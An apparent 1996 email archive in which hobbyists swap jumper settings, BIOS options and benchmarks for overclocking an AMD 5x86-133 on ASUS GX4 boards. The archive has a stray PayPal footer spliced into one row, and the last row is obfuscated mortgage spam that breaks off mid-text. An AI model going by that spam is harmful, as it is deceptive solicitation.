1-2 5-6 >JP18: 1-2 >JP19: 1-2 3-4 5-6 >JP20: 1-2 >JP21: 2-3 >JP22: 1-2 4-5 > >If you leave JP20 open the CPU runs in clock trebling mode instead of >clock quadrupling mode. You could experiment and try to get it to work >as a 3*50MHz system. Both CPUs ran flawlessly at both 133MHz (4*33MHz) >and 160MHz (4*40MHz). The only problem I did encounter was that QEMM >7.5 hung when it started, no matter what the speed of the CPU was. >I think it has something to do with QEMM identifying the CPU incorrectly. >Cheers >Graham Inggs >+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ > > > >On Thu, 28 Mar 1996, David A. Ranch wrote: > >> >> Hey Roman, >> >> Welp, I broke down and bought a 133Mhz processor. I'm in the process of >> burning in the v401 BIOS and I would to pick your brain about what the >> jumper settings are for the GX4 motherboard. Again, thanks for the help >> and I plan on posting all my results to the ASUS newsgroup. >> >> (from you earilier) >> >> > If you have the manual, I can tell you which entry to use (like AMD >> > Enhanced). >> >> Ok, the first thing is.. this processor is called the 5x86-133. The Asus >> WWW site keeps mentioning two AMD DX4 processors: SV8B and the NV8T. >> I'm under the impression that this 133Mhz processor is neither. Can you >> clear this up for me? Ok.. for the processor stuff, check out the bottom >> of this e-mail since I'll put all the differentGx4 processor types there >> and I'll include the readme file that came with the bios upgrade just in >> case. >> >The SV8 and SV8 stuff only applied to the 80-120 Mhz processors. The 133 >has and ADZ somewhere I think. > >> > With the chip running at 4x40, I have the speed to fastest and fewest >> > wait states (I'm pretty sure). But this is something that you have to >> > tweak in the end by yourself. At 4x33, you should be able to set things >> > to max speed. >> >> Great.. I'm running an AMD Dx/2 80 5V now and I can only run it at FASTER. >> I still might not be able to get my system to run at fastest but bah.. >> thats ok. Two question(s): >> >> 1) ASUS says that you MUST run the L1 cache in >> Write-Through mode instead of the preferable Write-Back mode if >> you have a bus-mastering card like a SCSI card (which I do). >> Have you had to deal with this or it doesn't apply for your >> situation? >> >Not sure. I use write-back and have everything except for a SCSI card. > >> 2) What settings are you using for your VLBus? >> >> - VESA delay ENABLED? (ASUS default is enabled) >> - <33Mhz & 0ws (This is what I'm running now) >> or >> >33Mhz & 1ws >> >At 40Mhz, I have the VESA delay enabled. It may work without it at 33Mhz. > >> >> OK.. lastly,,from the manual as you requested, here are the different CPU >> jumper settings. Could you note to me which I need to run the processor >> at both 133Mhz and 160Mhz for our GX4 motherboards? >> > >The same setting should allow you to run at 133 and 160- you just have to >change the bus speed (from 33 to 40). Compare the settings from the >beginning of this message to the differenct cpu setting from the manual. >I think it's closest to the AMD486DXL4 - 2x clock- you may not have to >change the jumpers much. :) There may be one jumper different- the one >that enables internal write-back. > >Also, be warned that at 160Mhz (4x40), my GX4 boots up and says 150Mhz. > >Good luck. >-Roman > >> --- >> >> probably no - SL Enhanced 486SX & SX2 or Non-SL 486 & SX2 >> >> probably no - SL Enhanced (non-SL) 486DX, DX2, 487SX & ODP; 486Dx/4 @ >> 3x clock >> >> probably no - 486DX4 - 2.5x clock >> >> probably no - 486DX4 - 2x clock (BIOS reports AM486DXL4 3x) >> >> possibly - P24D Write-Back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> >> possibly - P24CT - Write-back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> >> possibly - P24T - Write-back L1 cache >> JP21 Short 2&3 - Write-Through L1 cache >> 237-pin SL ODP >> >> possibly 120Mhz - 486DX4 ODP (OverDrive Processor?) - 3x clock >> >> possibly - 486DX4 ODP (OverDrive Processor?) - 2.5 clock >> >> doubtful - 486DX4 ODP (OverDrive Processor?) - 2.0 clock >> >> doubtful - AMD486SXL, AMD486SX2L >> >> doubtful - AMD486DXl, AMD486DX2L >> >> possible 120Mhz - AMD486DXL4 - 3x clock >> >> This is what I - AMD486DXL4 - 2x clock >> run my Dx/2 80 >> at >> >> doubtful - Cyrix 486DX, DX2 >> >> doubtful - Cyrix 486DX2-V >> >> doubtful - Cyrix DX5 - 3x clock >> >> doubtful - Cyrix DX5 - 2x clock >> >> >> ======= >> >> >> This is the text file that came with the BIOS upgrade image. I'm >> including this just in case it helps. >> >> ---- >> >> BIOS file : SV2G0401.AWD >> BIOS Ver. : 0401 (#401A0-0401) >> Related Mainboard : VL/I-486SV2G(X4) Rev. 2.0 or above >> Related Chipset : SiS 85C471 chipset >> >> >> Description : >> >> 1. To support the following CPUs : >> a.) AMD 486DX4 (SV8B) : with green & L1 cache write-back. >> b.) Intel 486DX4 (&EW) : with green & L1 cache write-back. >> c.) Cyrix 486DX4 : with green & L1 cache write-back. >> d.) Cyrix 5x86 (M1sc) : with Pentium code inside. >> e.) AMD 486DX4 (NV8T) : non-green & L1 cache write-through. >> >> The new CPUs jumper setting as the follow : >> >> A) Cyrix 486DX4 P/O >> Cyrix 5x86 (M1sc) >> >> JP16 : 1-2,5-6 (short) >> JP17 : 1-2,5-6 (short) >> JP18 : 1-2 (short) >> JP19 : 1-2,3-4,5-6 (short) >> JP20 : (none) >> JP21 : (none) >> JP22 : 1-2 (short) >> >> >> B) AMD 486DX4 (SV8B) >> Intel 486DX4 (&EW) >> >> JP16 : 1-2,4-5 (short) >> JP17 : 1-2,5-6 (short) >> JP18 : 1-2 (short) >> JP19 : 1-2,3-4,5-6 (short) >> JP20 : (none) >> JP21 : 3-4 (short) >> JP22 : 1-2,4-5 (short) >> >> C) Cyrix 486DX4 >> >> JP16 : 2-3,5-6 (short) >> JP17 : 2-3,5-6 (short) >> JP18 : 2-3 (short) >> JP19 : 2-3 (short) >> JP20 : 2-3 (short) >> JP21 : 1-2 (short) >> JP22 : 1-2 (short) >> >> D) AMD 486DX4 (NV8T) >> AMD 486DXL4 >> >> JP16 : 1-2,5-6 (short) >> JP17 : 4-5 (short) >> JP18 : 4-5 (short) >> JP19 : (none) >> JP20 : 4-5 (short) >> JP21 : (2-3 short : 2x CLK, 2-3 open : 3x CLK) >> JP22 : 1-2, 4-5 (short) >> >> >> --David >> +----------------------------------------------------------------------------+ >> | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | >> +---- ----+ >> +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ >> >> >> > > > John and Nellena Difilippo difilipp@whidbey.net",0,0 John and Nellena Difilippo ,"""David A. Ranch"" ","Sat, 30 Mar 1996 06:08:44 -0800",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! (fwd),"Thanx for the reply David, My system works all the way up to 1/3 clkin, at that point the CD Rom is no longer recognized at Win 95 Bootup. I stayed at 1/5 for reliability. I'll boost it to 1/4 and for a while to ensure theres reliability and a performance increase. I don't understand what you mean for the video cache. My system runs slower with cache enabled. As for the synchronize/transparent setting, at 133Mhz I'm able to run transparent. This setting allows the system to exchange data with the local bus immediately, vice waiting for the next clock pulse as in synchronize. My video, probably due to some other misadjustment in my setup, freezes while benching when the setting is at transparent at 160Mhz. Tranparent at 133Mhz increases performance. Synchronize at 160Mhz ensures reliabilty in my system. Look for a difference using both settings at 160Mhz and let me know what you came up with. If it works for you, I've got to dig a little deeper and find out what I missed. I'm still playing around so I'll keep intouch. Did you get my latest e-mail on the 29th? John At 12:01 AM 3/30/96 -0800, you wrote: > >Hey john, > >Ok.. I'm in the process of benching my Dx2-80 w/ the 304BIOS to get a >performance increase percentage. I'll get you my full results this >weekend. Until then, I wanted to point out a few things I noticed in >your setup: > >> AT Bus Clock 1/4 CLKIN(1/5 for 160 Mhz) > >Run you ISA bus at 10Mhz. (1/4 for 40Mhz bus) This speeds up some DOS >and ISA-related things. Only thing I found is that Iomegga Ditto3200 tape >drives don't like the higher speed. > >> Video Shadow Non-cache > >Enabling this creates a SIGNIFICANT speed performance in DOS and some >aspects of Windows. ENABLE THIS! > >> Local Bus Ready Transparent for 133Mhz >> Sychronize for 160Mhz > >Why the difference? I could never find a difference in performance. > > >Ok.. back to benching.. (man I hate waiting for all this!) > > >--David > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > > > John and Nellena Difilippo difilipp@whidbey.net ",0,0 John and Nellena Difilippo ,"""David A. Ranch"" ","Sat, 30 Mar 1996 09:00:12 -0800",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor now! (fwd),"David, I tried 1/4 clkin again and once again showed a degradation in CPU 16 and 32 marks. Increases with 1/5 clkin. I read somewhere that the 133 works optimally with an 8 Mhz ISA bus speed and with a 33Mhz input. If I find it again I will get it to you. I also went back to transparent at 160 and video still froze during benchmark. Suspect it's just my older bios and will retest it tuesday when the new one gets here. All other settings seem to be optimal as each time I change them, performance somewhere gets worse or the system doesn't boot. I also found that my power saving features don't work. I'm sure it's a jumper setting for the chip and will let you know what I find out. Might be til after I get the new bios to see if it still doesn't work. Keep in touch, I think we're making good progress! John John, Thanx for the reply David, My system works all the way up to 1/3 clkin, at that point the CD Rom is no longer recognized at Win 95 Bootup. I stayed at 1/5 for reliability. I'll boost it to 1/4 and for a while to ensure theres reliability and a performance increase. I don't understand what you mean for the video cache. My system runs slower with cache enabled. As for the synchronize/transparent setting, at 133Mhz I'm able to run transparent. This setting allows the system to exchange data with the local bus immediately, vice waiting for the next clock pulse as in synchronize. My video, probably due to some other misadjustment in my setup, freezes while benching when the setting is at transparent at 160Mhz. Tranparent at 133Mhz increases performance. Synchronize at 160Mhz ensures reliabilty in my system. Look for a difference using both settings at 160Mhz and let me know what you came up with. If it works for you, I've got to dig a little deeper and find out what I missed. I'm still playing around so I'll keep intouch. Did you get my latest e-mail on the 29th? John At 12:01 AM 3/30/96 -0800, you wrote: > >Hey john, > >Ok.. I'm in the process of benching my Dx2-80 w/ the 304BIOS to get a >performance increase percentage. I'll get you my full results this >weekend. Until then, I wanted to point out a few things I noticed in >your setup: > >> AT Bus Clock 1/4 CLKIN(1/5 for 160 Mhz) > >Run you ISA bus at 10Mhz. (1/4 for 40Mhz bus) This speeds up some DOS >and ISA-related things. Only thing I found is that Iomegga Ditto3200 tape >drives don't like the higher speed. > >> Video Shadow Non-cache > >Enabling this creates a SIGNIFICANT speed performance in DOS and some >aspects of Windows. ENABLE THIS! > >> Local Bus Ready Transparent for 133Mhz >> Sychronize for 160Mhz > >Why the difference? I could never find a difference in performance. > > >Ok.. back to benching.. (man I hate waiting for all this!) > > >--David > +----------------------------------------------------------------------------+ > | David A. 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I received one of the very first GX4 boards available and had to haggle with the jumpers like this to get the DX/2 80Mhz to run well. This is what I'm tring currently: JP5: 1+2 P24D, P24T, P24CT, AMD(s) X PLUS hardware trap JP6: 1+2 JP11: 2+3 Intel processor compatible Close to a 485DX4 - 2 x clock setting JP16: 1+2 5+6 CPU setting JP17: 1+2 5+6 CPU setting JP18: 1+2 5+6 CPU setting JP19: 1+2 CPU setting JP20: 1+2 4x CLOCK JP21: 2+3 L1 WT cache setting (DMA conflict fix) JP22: 1+2 3+4 CPU setting JP23: 2+3 40Mhz clock JP24: 2+3 JP25: 1+2 JP26: 1+2 VLB Delay JP28: 1+2 VLB 0ws JP29: 1+2 VLB <33Mhz JP32: 1+2 Intel DX4 --David +----------------------------------------------------------------------------+ | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | +---- ----+ +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+",0,0 John and Nellena Difilippo ,"""David A. Ranch"" ","Sun, 31 Mar 1996 19:02:21 -0800",Re: cachechk (fwd),"Hello David, I received your file and ran it but am not sure what the results mean. All test ran the same and the bottom looked something like this: 3.9 clks 8.6 clks 13 clks 333% 150% 100% John At 06:32 PM 3/31/96 -0800, you wrote: >Content-Type: TEXT/PLAIN; CHARSET=us-ascii >Content-ID: > > >Hey John, > >Run this for memory throughput tests... I'll get you my final benchmarks >once I'm done! > >THis is a MIME encapsulated file.. I hope your mail reader can handle >MIME. If not, let me know. > >--David > +----------------------------------------------------------------------------+ > | David A. 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All rights reserved. Designated trademarks and brands are the property of their respective owners. PayPal is located at 2211 N. First St., San Jose, CA 95131.",1,1 John and Nellena Difilippo ,"""David A. Ranch"" ","Tue, 02 Apr 1996 18:52:25 -0800",Re: I've got SOMETHING running now(GX4)... VERY weird.,"David, I'm running the 0401 bios with the same performance I previously had. I also have power saving features, which I didn't have before. Haven't gone into the settings yet to see how its different or what I can do. John. At 04:21 PM 3/31/96 -0800, you wrote: > >Well, strike 1: a 4x33Mhz still reported a 120Mhz for me > >So, I played around and this is the best yet (TOTALLY different from >your setup). This is basicallt CONFIRMING that there are sub-versions to >the GX4 v2.0 motherboard. I received one of the very first GX4 boards >available and had to haggle with the jumpers like this to get the DX/2 >80Mhz to run well. This is what I'm tring currently: > >JP5: 1+2 P24D, P24T, P24CT, AMD(s) X PLUS hardware trap >JP6: 1+2 > >JP11: 2+3 Intel processor compatible > > Close to a 485DX4 - 2 x clock setting >JP16: 1+2 5+6 CPU setting >JP17: 1+2 5+6 CPU setting >JP18: 1+2 5+6 CPU setting >JP19: 1+2 CPU setting >JP20: 1+2 4x CLOCK >JP21: 2+3 L1 WT cache setting (DMA conflict fix) >JP22: 1+2 3+4 CPU setting > >JP23: 2+3 40Mhz clock >JP24: 2+3 >JP25: 1+2 > >JP26: 1+2 VLB Delay > >JP28: 1+2 VLB 0ws >JP29: 1+2 VLB <33Mhz > >JP32: 1+2 Intel DX4 > > > > >--David > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > > > John and Nellena Difilippo difilipp@whidbey.net",0,0 Graham Inggs ,dranch@ecst.csuchico.edu,"Wed, 03 Apr 1996 10:11:05 +0200",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor,"Hi David > Ok, was than an Adaptec, BusLogic, etc? It should matter since they both > (SCSI and EIDE) are probably bus-mastering cards. I didn't get a chance > to install the card today but I will tonight. I also plan on benchmarking I have a Tekram DC380 SCSI adaptor, in the manual for this card is specifically says it does not support CPUs with write back cache. > > I couldn't get write-back to work with *either* system, I don't know > > what I did wrong there, could have been a CMOS setting or something. > When you say couldn't get it to work, what do you mean? Its documented > that there is something incompatible with the GX4, Write-Back, and a > bus-mastering VLB card. Hmmmm... I'll play with this. Well, I tried setting the jumper to get Write Back, but neither system would boot up, I thought that at least the IDE system would work. > Did the 160Mhz machine puke when you set it to <33Mhz and 0ws? I'm > currently running my DX/2-80 (5V) at that but I did have to set my RAM > setting to FASTER. I wonder which is faster combination? I also have a DX2/80 (actually an overclocked Intel DX2/66) and I had starnge problems running that when it was set to <33MHz, 0ws. Occasionally windows would get corrupted when moved around, or opened and closed, so I set it to >33Mhz, 1ws, and never had a problem since. I was then able to set my DRAM access to FASTEST, and my SRAM to 2-1-1-1. > Did you notice any cosmetic, new features, etc in the new BIOS code? It depends which version of the bios you had. > Ok.. I'll run these two but I recommend a few others: > -Qbench by Quantum (ftp.quantum.com): great HD performance/throughput > -Bench32 for Windows95 > -PCBench (i'm not sure what version it is but its very comprehensive) I'll have a look out for them, and get back to you. I'm running Novell DOS 7, by the way, not Win95. > Also.. what other hardware do you have in these boxes: OK, the 160MHz system has the following: 16MB 60ns DRAM 256K 15ns SRAM Tekram DC380 VL SCSI adaptor Cirrus Logic 5428 VL SVGA (2MB) Sound Blaster 32 AWE Intel EtherExpress 16 bit NIC Microcom 28.8K internal modem Non-Branded Serial / Parallel Game card Conner CFP 1060MB SCSI-2 hard drive Conner 420MB Tape Drive Creative Labs Hex Speed CDROM 1.44MB stiffy drive The 133MHz system has : 16MB 60ns DRAM 128K 15ns SRAM Acer Enhanced IDE / Cirrus Logic 5430 VL Combo Card IBM 1.7GB IDE hard drive 1.44MB stiffy drive 1.2MB floppy drive > ANyway.... its great to have another non-fearful computer hacker out there > on the ASUS side that actually and spell english and it comprehensive in > the e-mail dept! I'll get cracking on that tonight and I'll send you some > e-mails on my results, benchmarks, etc! Ditto! Cheers Graham",0,0 John and Nellena Difilippo ,"""David A. Ranch"" ","Wed, 03 Apr 1996 11:17:19 -0800",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor,"At 10:40 AM 4/3/96 -0800, you wrote: > >> I have a Tekram DC380 SCSI adaptor, in the manual for this card is >> specifically says it does not support CPUs with write back cache. > >Thats really weird. The only reason I can think of why they would say >that is because WB cache waits for idle peroids before they update main >memory. If the controller bypasses cache (which I would highly doubt), >that would hose the controller. > >Anyway.. I haven't gotten the chance to finish up on the docs for what I >did but it turns out that I had to use a RADICALLY different jumper >settings than you or John used. I had this sam problem when I upgraded to >my old DX2/80. Why? Dunno... I think I might have a pre/post-2.0 board >though its 2.0 silkscreened on the board. > >Anyway.. Have you run PCBench9 or WinBench96? I've noticed a disturbing >attribute. If the L2 cache is WB, I get better PcBench numbers (152 vs >128), if its WT, then I get better WinBench numbers (129 vs. 108)! I run >mostly in Win95 but when I play games like quake, etc.. do I have to >change CMOS? I DOUBT it.. hmmm... what do you think? > >Ps. I'm going to forward this to John since he's doing exactly what we >are doing and he might have some ideas too (hey john!) > >--David > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > > > Don't know about the scuzzy card. I definately get worst performance using write back L2 cache setting in windows. Didn't test dos. I have the 401 bios and all of my previous settings have turned out to be optimal. Every other change is for the worst, including the jumper settings. I have power saving features that I didnt have with the 306 bios so that means that the 401 has made this chip and my system more compatable. With the 401, I'm also able to vary the cpu modes,(write thru and write back) although I saw no difference withnthe 306. I get a drasticly worse cpu mark when I go to write thru in the cmos setup. I'm positive it's operating in write back mode as indicated by my benchmark prog, and to my surprise there are no glitches. Good luck! John and Nellena Difilippo difilipp@whidbey.net ",0,0 Graham Inggs ,dranch@ecst.csuchico.edu,"Wed, 03 Apr 1996 23:54:56 +0200",Re: Setting for AMD 5x86-133 & GX4 : I've got the processor,"Hi David > > I have a Tekram DC380 SCSI adaptor, in the manual for this card is > > specifically says it does not support CPUs with write back cache. > Thats really weird. The only reason I can think of why they would say > that is because WB cache waits for idle peroids before they update main > memory. If the controller bypasses cache (which I would highly doubt), > that would hose the controller. The way I see it, the L2 cache is wired directly to the CPU, and not (as I think it should be) to the memory system. The method used for WB cache obviously assumes (incorrectly) that it is the only device that can be in control of the bus, and doesn't bother to check. > Anyway.. I haven't gotten the chance to finish up on the docs for what I > did but it turns out that I had to use a RADICALLY different jumper > settings than you or John used. I had this sam problem when I upgraded to > my old DX2/80. Why? Dunno... I think I might have a pre/post-2.0 board > though its 2.0 silkscreened on the board. Please let me know what your jumper settings are/were. > Anyway.. Have you run PCBench9 or WinBench96? I've noticed a disturbing > attribute. If the L2 cache is WB, I get better PcBench numbers (152 vs > 128), if its WT, then I get better WinBench numbers (129 vs. 108)! I run > mostly in Win95 but when I play games like quake, etc.. do I have to > change CMOS? I DOUBT it.. hmmm... what do you think? I've just noticed something similar, I am getting a faster benchmark with my L2 cache *disabled* than when it is enabled. At the moment it is WB, I will set it to WT and see if that helps at all. I am trying to download WinBench 96 right now so we can make direct comparisons. In case I haven't told you before, I am running Novell Dos 7, Windows 3.1, Win32S 1.30 and used to use QEMM 7.5 (which hasn't worked since I put in the new CPU). I have 256K (32K x 8) of 15ns L2 cache memory. Cheers Graham ",0,0 """David A. Ranch"" ","dranch@ecst.csuchico.edu, carl@bre.com, c.michalik@bre.com, ginggs@iafrica.com, difilipp@whidbey.net","Wed, 10 Apr 1996 13:20:54 -0700",AMD 133(160Mhz) settings for odd ASUS GX4 motherboards w/ BENCHMARKS,"David A. Ranch wrote: >I had the EXACT same thing happen to me. I will get the new jumper >settings to you as soon as I get home. It took me -3- days to figure >these out!! #### Ok, here are the jumper / BIOS settings and quick benchmarks that I found for a GX4 v2.0 board and v401 of the Award BIOS: ASUS GX4 v2.0 board 16MB FPM DRAM 256K async cache Cirrus Logic 5429 VLB video w/ 2MB DRAM Adaptec 2842 SCSI-II-Fast Controller IBM UltraStar XP 2.2GB disk Gravis Ultrasound w/ 1MB DRAM Iomega Ditto 3200 tape drive JP5 : 1+2 Intel setting JP6 : 2+3 Intel setting JP11: 2+3 Intel 3.45v CPU JP16: 1+2,5+6 CPU setting JP17: 1+2,5+6 CPU setting JP18: 1+2,5+6 CPU setting JP19: 1+2 CPU setting JP20: 1+2 4x clock setting (open for 3x clock) JP21: 2+3 for Write Thru (3+4 for Write Back) Note: I had to use WT cache because I have an Adaptec 2842 busmastering controller. Try the WB setting first! JP22: 1+2,4+5 CPU setting (for 160Mhz) JP23: 2+3 JP24: 2+3 JP25: 1+2 JP26: 1+2 VLB delay JP28: 1+2 VLB 0ws JP29: 1+2 VLB <33Mhz ----- BIOS settings: Note: these are pushed so mileage will vary.. you must tweak with these to get a stable system Auto config : disbabled AT BUS Clock : 1/4 CLKIN (10Mhz AT BUS at 40Mhz system clock) DRAM Speed : Faster (My machine won't run stable at FASTEST) DRAM Write WS : 0ws DRAM Write CAS : 1T DRAM Write Burst : Enabled Slow Refresh : Enabled Hidden Refresh : Enabled L2 Cache scheme : WB - for DOS WT - for Windows (see below) L1 Cache scheme : WT (I had to use WT or my machine wouldn't boot) Cache Burst Read : 1T Cache Write Cycle : 2T Video Shadow : non-cachable Memory Hole : Disabled Fast Reset Latency: 2 uS Latch Local Bus : T2 Local Bus Ready : Syncronize --- Note: I'm not sure why but PCbench and DOS benchmarks run FASTER with the L2 cache sent to Auto (WT) caching. Any ideas WHY?!?!?! I've left my machine in WT mode since I use Windows95 most of the time. L2-Write Through PCBench9: CPU16: 128 Video: 5662 Disk : 224 Norton SI/95: 16.9 WinBench96: CPU16: 129 CPU32: 130 L2-Write Back PCBench9: CPU16: 152 Video: n/a Disk: n/a Norton SI/95: n/a WinBench96: CPU16: 120 CPU32: 116 Video: 5675 Disk: 223 -- +----------------------------------------------------------------------------+ | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | +---- ----+ +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+",0,0 Graham Inggs ,"""David A. Ranch"" ","Thu, 11 Apr 1996 00:43:29 +0200",Re: AMD 133(160Mhz) settings for odd ASUS GX4 motherboards w/ B,"Greetings David > JP16: 1+2,5+6 CPU setting > JP17: 1+2,5+6 CPU setting > JP18: 1+2,5+6 CPU setting > JP19: 1+2 CPU setting > JP20: 1+2 4x clock setting (open for 3x clock) > JP21: 2+3 for Write Thru (3+4 for Write Back) > Note: I had to use WT cache because I have an Adaptec 2842 > busmastering controller. Try the WB setting first! > JP22: 1+2,4+5 CPU setting How did you arrive at these CPU settings? What happens if you set it up the same way as I did? JP16: 1-2,4-5 JP17: 1-2,5-6 JP18: 1-2 JP19: 1-2,3-4,5-6 JP20: 1-2 JP21: 2-3 JP22: 1-2,4-5 This is the same as ASUS recommends for an AMD DX4 SV8B on a GX4 mainboard, and for a 5x86 on an SP3 mainboard. > AT BUS Clock : 1/4 CLKIN (10Mhz AT BUS at 40Mhz system clock) Mine is set at 1/5 CLKIN, does it help pushing the ISA bus a bit? > DRAM Speed : Faster (My machine won't run stable at FASTEST) Mine is on Fastest (my DRAM is 60ns, and my SRAM 15ns) >From past experience, even if you have 70ns DRAM, you can still set it to Fastest with a 40MHz bus clock, but you have to slow down if your SRAM is 20ns. > Video Shadow : non-cachable Mine is cacheable, do you know any more about this setting? When should it be enabled, and when not? > Latch Local Bus : T2 I don't know much about this one, but when I was setting up my DX4/100MHz as a 2 * 50MHz, I could only get the system to be stable when this was set to T3, so I left it that way. Maybe this could make your system work at the Fastest setting. > Local Bus Ready : Syncronize I don't know anything about this one either, but mine is the same. > Note: I'm not sure why but PCbench and DOS benchmarks run FASTER with the > L2 cache sent to Auto (WT) caching. Any ideas WHY?!?!?! I've > left my machine in WT mode since I use Windows95 most of the time. I've also had some weird benchmark results. Try disabling your L2 cache completely, and check your results. WinBench 96: GWM 96 CPU 16 CPU 32 L2-WB 5.36 94.9 94.1 L2-WT 5.43 94.9 94.1 L2-none 5.29 94.6 94.2 I'm using Windows 3.1 and Win32S 1.30, so I'm not sure if that is the cause of the lower scores. Either my L2 is not working at all, or something else strange is going on. I saw in the newsgroup that some other people have also found that the L2 cache doesn't make much of a difference. I've been thinking about this, and I know that with the older 486's (DX, DX2, DX4) that going from 0K to 128K L2 cache makes a big difference, but going from 128K to 256K is not noticeable at all. Now I've been wondering just how much of the 128K is actually being used during everyday working. One of the big differences between the 5x86 and older 486's is the 5x86 has 16K as opposed to 8K L1 cache. Now if the loops in the benchmark tests are >8K but <16K that would explain why disabling the L2 has little effect on the score. Otherwise, I either have a faulty CPU or I should look at trying out another motherboard. Cheers Graham",0,0 John and Nellena Difilippo ,"""David A. Ranch"" ","Wed, 10 Apr 1996 16:01:56 -0700",Re: AMD 133(160Mhz) settings for odd ASUS GX4 motherboards w/ BENCHMARKS,"David, I've had two people reply that they have successfully configured their system at 160 and 133 respectivly. The systems have proven to have better performance with L2 set to write thru (auto), but both cases have had no problem with the write back setting for L1 cache. The person running 160 has cpu marks just below mine. Are you sure that you are going to be able to settle for write thru with the cpu marks at the 120's? Any thing I can do to help, let me know. John Date: Tue, 9 Apr 1996 23:03:29 -0400 X-Sender: simon@magmacom.com To: John and Nellena Difilippo From: Craig Simon Subject: Re: AMD 133 in GX4 success story Content-Length: 883 Hi, Just thought I would write to thank you for your information concerning the AMD-133. I have now successfully updated to this processor and overclocked it. It is running stabley at 160 Mhz. WinBench 96 CPUmark16 and CPUmark32 are both at 172. Comparable to your results. I updated my BIOS to 0401 before I started. This led to an interesting observation. I initially set the cache to write-back (the other option with this BIOS is auto) and this only gave me CPUmarks of 130-140. When I changed the cache settings to AUTO my CPUmarks jumped to 172. This seems to parallel your observation about setting the 0306 BOIS cache settings to write-through. Another minor note. At start-up the bios reports the clock speed as 120 or 150 for VLB settings of 33 and 40, respectively. This appears to be meaningless as winbench detects the CPU correctly. Thanks again, Craig X-Sender: jscole@telalink.net Date: Sat, 06 Apr 1996 20:34:17 -0600 To: John and Nellena Difilippo From: ""J. S. Cole"" Subject: Re: AMD 133 in GX4 overclocked to 160 Content-Length: 595 At 10:03 PM 4/4/96 -0800, you wrote: >Let me know if they work. > > Your settings seem to work. I can't seem to find a good program that will report true clock speed. One program reported 140mhz while the other reported 236 mhz and the BIOS shows 120 mhz. I haven't bumped to 160 yet but you and I have exactly the same cards (EIDE 2300 and Stealth 64) so I'll give it a shot later this week. What is the function of ""Latch Local Bus"" and ""Local Bus Ready"" ? I had mine set to T3 and Synchronize but changed it to T2 and Transparent based on your settings. I haven't noticed any difference. At 01:20 PM 4/10/96 -0700, you wrote: >David A. Ranch wrote: > >>I had the EXACT same thing happen to me. I will get the new jumper >>settings to you as soon as I get home. It took me -3- days to figure >>these out!! > >#### > >Ok, here are the jumper / BIOS settings and quick benchmarks that I found >for a GX4 v2.0 board and v401 of the Award BIOS: > > ASUS GX4 v2.0 board > 16MB FPM DRAM > 256K async cache > Cirrus Logic 5429 VLB video w/ 2MB DRAM > Adaptec 2842 SCSI-II-Fast Controller > IBM UltraStar XP 2.2GB disk > Gravis Ultrasound w/ 1MB DRAM > Iomega Ditto 3200 tape drive > > > >JP5 : 1+2 Intel setting >JP6 : 2+3 Intel setting > >JP11: 2+3 Intel 3.45v CPU > >JP16: 1+2,5+6 CPU setting >JP17: 1+2,5+6 CPU setting >JP18: 1+2,5+6 CPU setting >JP19: 1+2 CPU setting >JP20: 1+2 4x clock setting (open for 3x clock) >JP21: 2+3 for Write Thru (3+4 for Write Back) > Note: I had to use WT cache because I have an Adaptec 2842 > busmastering controller. Try the WB setting first! >JP22: 1+2,4+5 CPU setting > >(for 160Mhz) >JP23: 2+3 >JP24: 2+3 >JP25: 1+2 > >JP26: 1+2 VLB delay > >JP28: 1+2 VLB 0ws >JP29: 1+2 VLB <33Mhz > >----- > >BIOS settings: Note: these are pushed so mileage will vary.. you must > tweak with these to get a stable system > >Auto config : disbabled >AT BUS Clock : 1/4 CLKIN (10Mhz AT BUS at 40Mhz system clock) >DRAM Speed : Faster (My machine won't run stable at FASTEST) >DRAM Write WS : 0ws >DRAM Write CAS : 1T > >DRAM Write Burst : Enabled >Slow Refresh : Enabled >Hidden Refresh : Enabled > >L2 Cache scheme : WB - for DOS WT - for Windows (see below) >L1 Cache scheme : WT (I had to use WT or my machine wouldn't boot) >Cache Burst Read : 1T >Cache Write Cycle : 2T >Video Shadow : non-cachable >Memory Hole : Disabled > >Fast Reset Latency: 2 uS >Latch Local Bus : T2 >Local Bus Ready : Syncronize > > >--- >Note: I'm not sure why but PCbench and DOS benchmarks run FASTER with the > L2 cache sent to Auto (WT) caching. Any ideas WHY?!?!?! I've > left my machine in WT mode since I use Windows95 most of the time. > >L2-Write Through > > PCBench9: CPU16: 128 > Video: 5662 > Disk : 224 > > Norton SI/95: 16.9 > > WinBench96: CPU16: 129 > CPU32: 130 > > >L2-Write Back > > PCBench9: CPU16: 152 > Video: n/a > Disk: n/a > > Norton SI/95: n/a > > WinBench96: CPU16: 120 > CPU32: 116 > Video: 5675 > Disk: 223 >-- > +----------------------------------------------------------------------------+ > | David A. Ranch - ISDN/Cablemodems/PCs dranch@ecst.csuchico.edu | > +---- ----+ > +----- For more detailed info, check out: www.ecst.csuchico.edu/~dranch -----+ > > John and Nellena Difilippo difilipp@whidbey.net",0,0 Brande Largent ,dranch@ecst.csuchico.edu,"Thu, 11 Apr 1996 08:46:21 -0700",Re: oajoj news,"Dea w r Home Ow t ne j r , Your cr l ed l it doesn't matter to us ! If you O c WN real e o st r at l e and want IM h MED e IA f TE cas y h to sp d en y d ANY way you like, or simply wish to LO m WER 